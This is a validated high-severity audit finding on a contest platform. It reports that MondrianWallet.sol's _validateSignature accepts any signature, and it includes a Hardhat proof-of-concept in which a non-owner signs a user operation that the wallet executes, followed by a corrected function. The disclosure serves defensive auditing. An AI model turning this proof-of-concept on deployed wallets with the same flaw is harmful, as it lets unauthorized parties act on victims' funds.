Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`_validateSignature` function in `MondrianWallet.sol` does not handle the `validationData` return value appropriately.

Summary

_validateSignature function in MondrianWallet.sol does not handle the validationData return value appropriately.

Vulnerability Details

In MondrianWallet.sol, the _validateSignature function doesn't recover the address and doesn't check if the recovered address (which should be recovered) matches any authorized signer (such as the owner).

POC (using addr1 as signer instead of owner):

it.only("should validate user operation correctly with signing", async function () {
// Get Signers
[owner, addr1] = await ethers.getSigners();
const entryPoint = await hre.ethers.getContractAt(
"MockEntryPoint",
EP_ADDRESS
);
await mondrianWallet.connect(owner).addDeposit({
value: hre.ethers.parseEther("100"),
});
const sender = await hre.ethers.getCreateAddress({
from: FACTORY_ADDRESS,
nonce: FACTORY_NONCE,
});
const address0 = await owner.getAddress();
let initCode = "0x";
const Account = await hre.ethers.getContractFactory("MondrianWallet");
// Convert numbers to hex strings padded to 16 bytes (32 hex characters)
const callGasLimit = ethers.zeroPadValue(ethers.toBeHex(200000), 16); // Pad to 16 bytes
const verificationGasLimit = ethers.zeroPadValue(
ethers.toBeHex(200000),
16
); // Pad to 16 bytes
const accountGasLimits =
"0x" +
Buffer.concat([
Buffer.from(callGasLimit.slice(2), "hex"), // Convert hex string to Buffer and remove '0x'
Buffer.from(verificationGasLimit.slice(2), "hex"), // Convert hex string to Buffer and remove '0x'
]).toString("hex");
// Convert numbers to hex strings padded to 16 bytes (32 hex characters)
const maxPriorityFeePerGas = ethers.zeroPadValue(ethers.toBeHex(25000), 16); // Pad to 16 bytes
const maxFeePerGas = ethers.zeroPadValue(ethers.toBeHex(25000), 16); // Pad to 16 bytes
const gasFees =
"0x" +
Buffer.concat([
Buffer.from(maxPriorityFeePerGas.slice(2), "hex"), // Convert hex string to Buffer and remove '0x'
Buffer.from(maxFeePerGas.slice(2), "hex"), // Convert hex string to Buffer and remove '0x'
]).toString("hex");
console.log(gasFees);
const userOp = {
sender,
nonce: await entryPoint.getNonce(sender, 0),
initCode,
callData: Account.interface.encodeFunctionData("mint", [sender, 0]),
accountGasLimits,
preVerificationGas: 500000,
gasFees,
paymasterAndData: "0x",
signature: "0x",
};
//console.log("UserOp:", userOp);
const userOpHash = await entryPoint.getUserOpHash(userOp);
userOp.signature = await addr1.signMessage(hre.ethers.getBytes(userOpHash));
const tx = await entryPoint.handleOps([userOp], address0);
const receipt = await tx.wait();
console.log(receipt);
});

Impact

This makes the signature validation incomplete and always returns SIG_VALIDATION_SUCCESS.

Tools Used

Manual review

Recommendations

Refactor _validateSignature to recover the address of signer and to check if considered an authorized user, finaly change function from pure to view to allows the function read state variable.

function _validateSignature(PackedUserOperation calldata userOp, bytes32 userOpHash)
internal
view
returns (uint256 validationData)
{
bytes32 hash = MessageHashUtils.toEthSignedMessageHash(userOpHash);
address recoveredAddress = ECDSA.recover(hash, userOp.signature);
if (recoveredAddress != owner()) {
return SIG_VALIDATION_FAILED;
}
return SIG_VALIDATION_SUCCESS;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

ECDSA.recover should check against sender

`_validateSignature` SHOULD return SIG_VALIDATION_FAILED (and not revert) on signature mismatch.

vesper Submitter
over 1 year ago
inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

ECDSA.recover should check against sender

`_validateSignature` SHOULD return SIG_VALIDATION_FAILED (and not revert) on signature mismatch.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.